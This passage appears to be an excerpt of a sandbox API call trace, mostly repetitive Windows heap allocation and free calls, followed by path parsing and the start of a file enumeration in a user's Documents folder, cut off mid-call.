HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.696] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.696] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.696] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.696] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.696] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.696] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.696] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.696] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.696] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.696] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.696] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ad3918 [0112.696] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0112.696] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.696] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.696] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.696] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.696] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.696] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.696] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.696] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0112.696] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.696] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.696] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.696] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.696] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.696] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.696] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.696] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.696] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.696] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0112.696] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.697] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.697] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.697] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.697] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0112.697] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.697] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.697] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.697] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0112.697] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.697] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.697] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.697] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.697] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.697] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.697] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.697] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.697] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.697] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.697] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.697] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.697] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0112.697] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.697] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.697] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.697] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.697] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0112.697] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.697] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.697] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.697] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0112.698] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.698] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.698] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.698] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.698] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.698] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.698] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.698] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.698] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.698] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.698] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.698] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.698] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.698] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.698] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.698] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.698] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.698] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.698] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.698] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.698] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.698] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.698] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.698] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.698] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.698] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.698] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.698] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.698] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.698] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.698] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.699] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ad3918 [0112.699] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0112.699] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0112.699] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.699] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.699] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.699] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.699] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.699] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.699] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.699] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0112.699] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.699] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.699] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.699] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0112.699] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.699] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.699] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.699] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.699] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.699] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.699] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.699] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.699] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.699] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.699] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.699] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.699] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0112.699] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.699] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.699] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.699] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.700] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0112.700] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.700] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.700] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.700] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0112.700] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.700] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.700] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.700] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.700] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.700] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.700] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.700] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.700] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.700] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.700] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.700] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.700] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.700] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.700] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.700] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.700] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.700] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.700] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.700] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.700] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.700] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.700] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.700] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.700] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.700] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.700] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.701] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.701] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.701] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.701] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.701] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ad3918 [0112.701] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0112.701] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0112.701] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.701] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.701] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.701] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.701] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.701] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.701] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.701] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0112.701] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.701] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.701] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.701] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0112.701] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.701] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.701] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.701] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.701] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.701] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.701] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.701] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.701] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.701] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.701] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.702] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.702] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0112.702] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.702] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.702] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.702] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.702] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0112.702] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.702] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.702] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.702] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.702] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.702] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.702] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.702] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.702] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.702] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.702] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.702] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.702] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.702] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.702] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.702] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.702] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.702] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.702] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.702] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.702] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.702] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.702] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.702] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\p4QbPuBf\\") returned="p4QbPuBf\\" [0112.702] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35bc8 [0112.702] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c2b8 [0112.703] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.703] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0112.703] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1aec8 [0112.703] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c2b8 | out: hHeap=0x5010000) returned 1 [0112.703] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0112.703] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05da0 [0112.703] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35bc8 | out: hHeap=0x5010000) returned 1 [0112.703] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35bc8 [0112.703] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1aec8 | out: hHeap=0x5010000) returned 1 [0112.703] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0112.703] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35bc8 | out: hHeap=0x5010000) returned 1 [0112.703] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.703] PathFindFileNameW (pszPath="") returned="" [0112.703] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.703] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\p4QbPuBf\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfce75470, ftCreationTime.dwHighDateTime=0x1d4ccdb, ftLastAccessTime.dwLowDateTime=0xb8338960, ftLastAccessTime.dwHighDateTime=0x1d4ca1b, ftLastWriteTime.dwLowDateTime=0xb8338960, ftLastWriteTime.dwHighDateTime=0x1d4ca1b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0112.704] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.704] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfce75470, ftCreationTime.dwHighDateTime=0x1d4ccdb, ftLastAccessTime.dwLowDateTime=0xb8338960, ftLastAccessTime.dwHighDateTime=0x1d4ca1b, ftLastWriteTime.dwLowDateTime=0xb8338960, ftLastWriteTime.dwHighDateTime=0x1d4ca1b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.704] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: 